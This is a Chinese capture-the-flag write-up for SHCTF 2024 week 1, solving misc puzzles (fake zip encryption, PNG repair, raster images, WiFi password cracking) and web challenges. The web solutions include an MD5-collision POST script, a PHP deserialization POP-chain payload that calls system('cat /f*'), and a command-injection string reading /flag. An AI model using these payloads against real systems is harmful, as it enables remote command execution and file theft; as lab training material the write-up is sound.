当前位置: 首页 > news >正文

SHCTF-2024-week1-wp

文章目录

  • SHCTF 2024 week1 wp
    • Misc
        • [Week1]真真假假?遮遮掩掩!
        • [Week1]拜师之旅①
        • [Week1]Rasterizing Traffic
        • [Week1]有WiFi干嘛不用呢?
    • web
        • [Week1] 单身十八年的手速
        • [Week1] MD5 Master
        • [Week1] ez_gittt
        • [Week1] jvav
        • [Week1] poppopop
        • [Week1] 蛐蛐?蛐蛐!

SHCTF 2024 week1 wp

Misc

[Week1]真真假假?遮遮掩掩!

考点:压缩包伪加密,掩码爆破

下载附件有一个压缩包,打开发现需要密码,放进010查看

image-20241013141600023

伪加密,直接修改

image-20241013141917529

image-20241013142232902

根据提示,想到是掩码爆破

image-20241013142333945

image-20241013142450917

SHCTF{C0ngr@tu1at1ons_On_Mast3r1ng_mAsk_aTT@ck5!}

[Week1]拜师之旅①

考点:损坏文件,png隐写

下载压缩包解压,有个损坏的图片,放进010查看

image-20241013143047137

image-20241013143303185

缺少png文件头部,补上复原

image-20241013143555983

image-20241013143544675

修改高度,得到flag

image-20241013143704633

[Week1]Rasterizing Traffic

考点:流量分析,光栅图解析

image-20241013144705416

image-20241013144858845

经过分析,发现png图片,直接查看或导出来(显示分组字节或导出分组字节流)

image-20241013145053272

image-20241013145146704

光栅图,使用工具AabyssZG/Raster-Terminator: CTF之光栅图秒杀器 (github.com)

下载下来后需要将第75行的三维数组改为二维,这题才能用

img

输入命令 python Raster-Terminator.py -x 1.png

image-20241013144509352

得到光栅图,连在一起就是flag。

image-20241013144543461

[Week1]有WiFi干嘛不用呢?

考点:wifi密码爆破

用脚本将may文件夹的数据提取出来

cat ./* > test.txt

image-20241013150141334

删除[],用aircrack-ng爆破

image-20241013150439262

找到wifi密码

SHCTF{0TUMVxz0JrUSDxHG}

web

[Week1] 单身十八年的手速

考点:查看源代码

打开网页

image-20241013142707618

查看源代码,找到.js文件

image-20241013142800638

image-20241013142816921

发现一串base64字符

U0hDVEZ7OWY0NTM2NzItNTJlNS00N2NlLTg4OWEtMDEyYzkwMDczYmUxfQo=

解码得到flag

SHCTF{9f453672-52e5-47ce-889a-012c90073be1}

[Week1] MD5 Master

考点:md5碰撞,md5长度拓展攻击

<?php
highlight_file(__file__);$master = "MD5 master!";if(isset($_POST["master1"]) && isset($_POST["master2"])){if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){echo $master . "<br>";echo file_get_contents('/flag');}
}
else{die("master? <br>");
} 

需要找到前缀都是$master但不相同,而他们的md5值又相同的值。

先用fastcoll找出这两个值。

image-20241013154012749

使用脚本post上传,得到flag。

image-20241013154120766

import requests
import binasciidef read_binary_file_as_hex(file_path):with open(file_path, 'rb') as binary_file:binary_data = binary_file.read()hex_data = binascii.hexlify(binary_data).decode('utf-8')return hex_datafile_1 = 'C:\\CTF\\WEB\\WEB\\webtools\\fastcoll.exe\\1.bin'
file_2 = 'C:\\CTF\\WEB\\WEB\\webtools\\fastcoll.exe\\2.bin'
hex_data_1 = read_binary_file_as_hex(file_1)
hex_data_1 = hex_data_1[22:]
hex_data_2 = read_binary_file_as_hex(file_2)
hex_data_2 = hex_data_2[22:]
print(hex_data_1)
print(hex_data_2)
print(type(hex_data_1))binary_data_1 = bytes.fromhex(hex_data_1)
binary_data_2 = bytes.fromhex(hex_data_2)url = 'http://210.44.150.15:25738/'
data = {'master1': binary_data_1,'master2': binary_data_2
}response = requests.post(url, data=data)print(response.status_code)
print(response.text)

SHCTF{e0b338e9-b826-462b-af82-efce41ef53e9}

[Week1] ez_gittt

考点:git泄露

image-20241013162613667

查看源码,明确git泄露

image-20241013162650245

拉取git到本地查看

image-20241013162726079

看到增加flag,查看详情,找到flag。

image-20241013162812675

SHCTF{6ad1f777-d0cf-41c1-8197-7feb7641e165}

[Week1] jvav

考点:java

image-20241013163210821

不懂 java,但是 gpt 会帮我写代码:

import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;public class demo {public static void main(String[] args) {String filePath = "/flag";  // 本地文件路径BufferedReader reader = null;try {reader = new BufferedReader(new FileReader(filePath));String line;while ((line = reader.readLine()) != null) {System.out.println(line);  // 输出每一行内容}} catch (IOException e) {System.out.println("文件读取错误: " + e.getMessage());} finally {try {if (reader != null) {reader.close();}} catch (IOException e) {System.out.println("关闭文件时出错: " + e.getMessage());}}}
}

得到flag

SHCTF{055ac047-4421-4f0d-902a-8d4f72a585ad}

[Week1] poppopop

考点:序列化反序列化

 <?php
class SH {public static $Web = false;public static $SHCTF = false;
}
class C {public $p;public function flag(){($this->p)();}
}
class T{public $n;public function __destruct(){SH::$Web = true;echo $this->n;}
}
class F {public $o;public function __toString(){SH::$SHCTF = true;$this->o->flag();return "其实。。。。,";}
}
class SHCTF {public $isyou;public $flag;public function __invoke(){if (SH::$Web) {($this->isyou)($this->flag);echo "小丑竟是我自己呜呜呜~";} else {echo "小丑别看了!";}}
}
if (isset($_GET['data'])) {highlight_file(__FILE__);unserialize(base64_decode($_GET['data']));
} else {highlight_file(__FILE__);echo "小丑离我远点!!!";
} 

分析代码,构造pop链:

T->__destruct() ----> F->__toString() ----> C->flag() ----> SHCTF->__invoke()

<?php
class SH {public static $Web = false;public static $SHCTF = false;
}class C {public $p;
}class T{public $n;
}
class F {public $o;
}class SHCTF {public $isyou;public $flag;
} $a = new SHCTF();
$a->isyou = "system";
$a->flag = "cat /f*";
$b = new C();
$b->p = $a;
$c = new F();
$c->o = $b;
$d = new T();
$d->n = $c;echo serialize($d);
?>
//O:1:"T":1:{s:1:"n";O:1:"F":1:{s:1:"o";O:1:"C":1:{s:1:"p";O:5:"SHCTF":2:{s:5:"isyou";s:6:"system";s:4:"flag";s:7:"cat /f*";}}}}
//base64:TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czo3OiJjYXQgL2YqIjt9fX19

传入base64编码后的内容,得到flag

SHCTF{d4b773f4-1dd4-4321-903f-aa718e1ea99d}

[Week1] 蛐蛐?蛐蛐!

考点:弱比较,命令执行

image-20241013174644889

查看源码

image-20241013174718789

image-20241013174803030

第一个弱比较 ,直接传 ?ququ=114514a。

第二个直接使用命令执行:

ququ=ququk1;system(“cat /flag”);

image-20241013175007576

得到flag

SHCTF{a317f4fb-8cfa-43d9-9bce-85ab6f8633c6}

相关文章:

SHCTF-2024-week1-wp

文章目录 SHCTF 2024 week1 wpMisc[Week1]真真假假?遮遮掩掩![Week1]拜师之旅①[Week1]Rasterizing Traffic[Week1]有WiFi干嘛不用呢&#xff1f; web[Week1] 单身十八年的手速[Week1] MD5 Master[Week1] ez_gittt[Week1] jvav[Week1] poppopop[Week1] 蛐蛐?蛐蛐! SHCTF 2024…...

docker-comapose安装部署mysql

docker-comapose安装部署mysql version: "3.4" services:mysql:image: docker.das-security.cn/middleware/mysql:8.4.1container_name: mysqlenvironment:- MYSQL_ROOT_PASSWORD密码volumes:- /etc/localtime:/etc/localtime- ./configs/mysql/initdb:/docker-entr…...

C语言初阶-数据类型和变量【下】

紧接上期------------------------->>>C语言初阶-数据类型和变量【上】 全局变量和局部变量在内存中存储在哪⾥呢&#xff1f; ⼀般我们在学习C/C语⾔的时候&#xff0c;我们会关注内存中的三个区域&#xff1a; 栈区 、 堆区 、 静态区 。 内存的分配情况 局部变量是…...

C++:命名空间(namespace)详细介绍与案例

命名空间&#xff08;namespace&#xff09;是C中的一个重要概念&#xff0c;用于组织代码和避免名称冲突。它们允许程序员将标识符&#xff08;如变量、函数、类等&#xff09;组织在一起&#xff0c;以便在较大的程序中防止命名冲突。 1. 基本概念 命名空间的基本定义方式如…...

专题十一_递归_回溯_剪枝_综合练习_算法专题详细总结

目录 1. 找出所有⼦集的异或总和再求和&#xff08;easy&#xff09; 解析&#xff1a; 方法一&#xff1a; 解法二&#xff1a; 总结&#xff1a; 2. 全排列 Ⅱ&#xff08;medium&#xff09; 解析&#xff1a; 解法一&#xff1a;只关心“不合法”的分支 解法二&…...

java中Runnable接口是什么?基本概念、工作原理、优点、`Runnable`与`Thread`的对比、与`Callable`接口的对比、实际场景

Runnable接口是Java提供的一种用于实现多线程的接口&#xff0c;通常用来定义任务的具体逻辑。与Thread类不同&#xff0c;Runnable接口只提供一种抽象方法run()&#xff0c;没有任何与线程的生命周期、管理相关的功能。它的主要作用是与Thread类或线程池&#xff08;如Executo…...

Mybatis Plus连接使用ClickHouse也如此简单

通过阅读列式数据库ClickHouse官网&#xff0c;不难看出它有支持JDBC规范的驱动jar包&#xff0c;可以直接集成到Object Relational Mapping框架等&#xff0c;下面我用SpringBootMybatisPlus环境连接ClickHouse来演示一下 集成步骤 1.Maven引入ClickHouse提供的JDBC依赖 <…...

什么社交平台可以找到搭子?分享多款找搭子必备的人气软件

在这个丰富多彩的世界里&#xff0c;我们常常渴望有一个志同道合的搭子&#xff0c;一起分享生活的点滴&#xff0c;共同探索未知的领域。无论是追寻美食的舌尖之旅&#xff0c;还是踏上充满惊喜的旅途&#xff1b;无论是在健身房挥洒汗水…… 找到一个合适的搭子&#xff0c;都…...

STM32 RTC实时时钟 F407 寄存器

RTC介绍 STM32F1: RTC模块拥有一组连续计数的计数器&#xff0c;在相应软件配置下&#xff0c;可提供时钟日历的功能。 即在F1系列&#xff0c;RTC的日历部分只有一个32位的寄存器 该寄存器直接存放 时间戳 的值&#xff0c;即&#xff1…...

矩阵等价、向量组等价、线性方程组同解与公共解的关系

矩阵等价 矩阵 A 、 B 等价 ⇔ 两矩阵秩相等 R ( A ) R ( B ) ⇔ 每个矩阵的行秩等于列秩&#xff0c;两个矩阵的行秩与列秩分别相等 ⇔ 若行满秩则列向量组等价 ⇔ 若列满秩则行向量组等价 \begin{align} 矩阵A、B等价\\ &\Leftrightarrow 两矩阵秩相等R(A)R(B)\\ &\…...

[Linux] Linux 进程程序替换

标题&#xff1a;[Linux] Linux 进程程序替换 个人主页水墨不写bug &#xff08;图片来源于网络&#xff09; 目录 O、前言 一、进程程序替换的直观现象&#xff08;什么是进程程序替换&#xff1f;&#xff09; 二、进程程序替换的原理 三、进程程序替换的函数&#xff08…...

【Linux系统编程】第三十一弹---深入理解静态库:从零开始制作与高效使用的完全指南

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】【Linux系统编程】 目录 1、静态库 1.1、怎么做静态库 1.2、怎么使用静态库 1、静态库 1.1、怎么做静态库 在Linux环境下&#xff0c;通常使用GCC&am…...

FFmpeg 简介及其下载安装步骤

目录 一、FFmpeg 简介 二、FFmpeg 安装步骤 2.1 打开官网 2.2 选择FFmpeg系统版本 2.3 下载FFmpeg压缩包 2.4 将下载好的压缩包进行解压 2.5 设置环境变量 2.5.1 在搜索栏中搜索【环境变量】&#xff0c;然后单击将其打开 2.5.2 找到系统变量中的【Path】&#xff0c;点…...

使用CSS+SVG实现加载动画

使用CSSSVG实现加载动画 效果展示 CSS知识点 SVG元素使用SVG相关CSS属性运用 整体页面布局 <section><div class"box"><div class"loader"><svg><circle cx"40" cy"40" r"40"></circl…...

物联网(IoT)的未来发展:智能互联时代的到来

物联网&#xff08;IoT&#xff09;的未来发展&#xff1a;智能互联时代的到来 物联网&#xff08;IoT&#xff09;正在迅速改变我们与世界互动的方式。无论是智能家居、智慧城市&#xff0c;还是工业自动化&#xff0c;物联网技术通过设备互联、数据采集和智能控制&#xff0…...

斯坦福 CS229 I 机器学习 I 构建大型语言模型 (LLMs)

1. Pretraining -> GPT3 1.1. Task & loss 1.1.1. 训练 LLMs 时的关键点 对于 LLMs 的训练来说&#xff0c;Architecture&#xff08;架构&#xff09;、Training algorithm/loss&#xff08;训练算法/损失函数&#xff09;、Data&#xff08;数据&#xff09;、Evalu…...

Java->排序

目录 一、排序 1.概念 2.常见的排序算法 二、常见排序算法的实现 1.插入排序 1.1直接插入排序 1.2希尔排序(缩小增量法) 1.3直接插入排序和希尔排序的耗时比较 2.选择排序 2.1直接选择排序 2.2堆排序 2.3直接选择排序与堆排序的耗时比较 3.交换排序 3.1冒泡排序…...

linux 大小写转换

var"TM_card_INFo" # 把变量中的第一个字符换成大写 echo ${var^} # 把变量中的所有小写字母&#xff0c;全部替换为大写 echo ${var^^} # 把变量中的第一个字符换成小写 echo ${var,} # 把变量中的所有大写字母&#xff0c;全部替换为小写 echo ${var,,} 参考…...

Linux——传输层协议

目录 一再谈端口号 1端口号范围划分 2两个问题 3理解进程与端口号的关系 二UDP协议 1格式 2特点 3进一步理解 3.1关于UDP报头 3.2关于报文 4基于UDP的应用层协议 三TCP协议 1格式 2TCP基本通信 2.1关于可靠性 2.2TCP通信模式 3超时重传 4连接管理 4.1建立…...

centos系列,yum部署jenkins2.479.1,2024年长期支持版本

centos系列&#xff0c;yum部署jenkins2.479.1&#xff0c;2024年长期支持版本 0、介绍 注意&#xff1a;jenkins建议安装LTS长期支持版本&#xff0c;而不是安装每周更新版本&#xff0c;jenkins安装指定版本 openjdk官网下载 Index of /jenkins/redhat-stable/ | 清华大学开…...

Ubuntu系统下交叉编译openssl

一、参考资料 OpenSSL&&libcurl库的交叉编译 - hesetone - 博客园 二、准备工作 1. 编译环境 宿主机&#xff1a;Ubuntu 20.04.6 LTSHost&#xff1a;ARM32位交叉编译器&#xff1a;arm-linux-gnueabihf-gcc-11.1.0 2. 设置交叉编译工具链 在交叉编译之前&#x…...

盘古信息PCB行业解决方案:以全域场景重构,激活智造新未来

一、破局&#xff1a;PCB行业的时代之问 在数字经济蓬勃发展的浪潮中&#xff0c;PCB&#xff08;印制电路板&#xff09;作为 “电子产品之母”&#xff0c;其重要性愈发凸显。随着 5G、人工智能等新兴技术的加速渗透&#xff0c;PCB行业面临着前所未有的挑战与机遇。产品迭代…...

《Playwright:微软的自动化测试工具详解》

Playwright 简介:声明内容来自网络&#xff0c;将内容拼接整理出来的文档 Playwright 是微软开发的自动化测试工具&#xff0c;支持 Chrome、Firefox、Safari 等主流浏览器&#xff0c;提供多语言 API&#xff08;Python、JavaScript、Java、.NET&#xff09;。它的特点包括&a…...

基于Uniapp开发HarmonyOS 5.0旅游应用技术实践

一、技术选型背景 1.跨平台优势 Uniapp采用Vue.js框架&#xff0c;支持"一次开发&#xff0c;多端部署"&#xff0c;可同步生成HarmonyOS、iOS、Android等多平台应用。 2.鸿蒙特性融合 HarmonyOS 5.0的分布式能力与原子化服务&#xff0c;为旅游应用带来&#xf…...

spring:实例工厂方法获取bean

spring处理使用静态工厂方法获取bean实例&#xff0c;也可以通过实例工厂方法获取bean实例。 实例工厂方法步骤如下&#xff1a; 定义实例工厂类&#xff08;Java代码&#xff09;&#xff0c;定义实例工厂&#xff08;xml&#xff09;&#xff0c;定义调用实例工厂&#xff…...

如何将联系人从 iPhone 转移到 Android

从 iPhone 换到 Android 手机时&#xff0c;你可能需要保留重要的数据&#xff0c;例如通讯录。好在&#xff0c;将通讯录从 iPhone 转移到 Android 手机非常简单&#xff0c;你可以从本文中学习 6 种可靠的方法&#xff0c;确保随时保持连接&#xff0c;不错过任何信息。 第 1…...

零基础设计模式——行为型模式 - 责任链模式

第四部分&#xff1a;行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习&#xff01;行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想&#xff1a;使多个对象都有机会处…...

css3笔记 (1) 自用

outline: none 用于移除元素获得焦点时默认的轮廓线 broder:0 用于移除边框 font-size&#xff1a;0 用于设置字体不显示 list-style: none 消除<li> 标签默认样式 margin: xx auto 版心居中 width:100% 通栏 vertical-align 作用于行内元素 / 表格单元格&#xff…...

#Uniapp篇:chrome调试unapp适配

chrome调试设备----使用Android模拟机开发调试移动端页面 Chrome://inspect/#devices MuMu模拟器Edge浏览器&#xff1a;Android原生APP嵌入的H5页面元素定位 chrome://inspect/#devices uniapp单位适配 根路径下 postcss.config.js 需要装这些插件 “postcss”: “^8.5.…...

代码规范和架构【立芯理论一】(2025.06.08)

1、代码规范的目标 代码简洁精炼、美观&#xff0c;可持续性好高效率高复用&#xff0c;可移植性好高内聚&#xff0c;低耦合没有冗余规范性&#xff0c;代码有规可循&#xff0c;可以看出自己当时的思考过程特殊排版&#xff0c;特殊语法&#xff0c;特殊指令&#xff0c;必须…...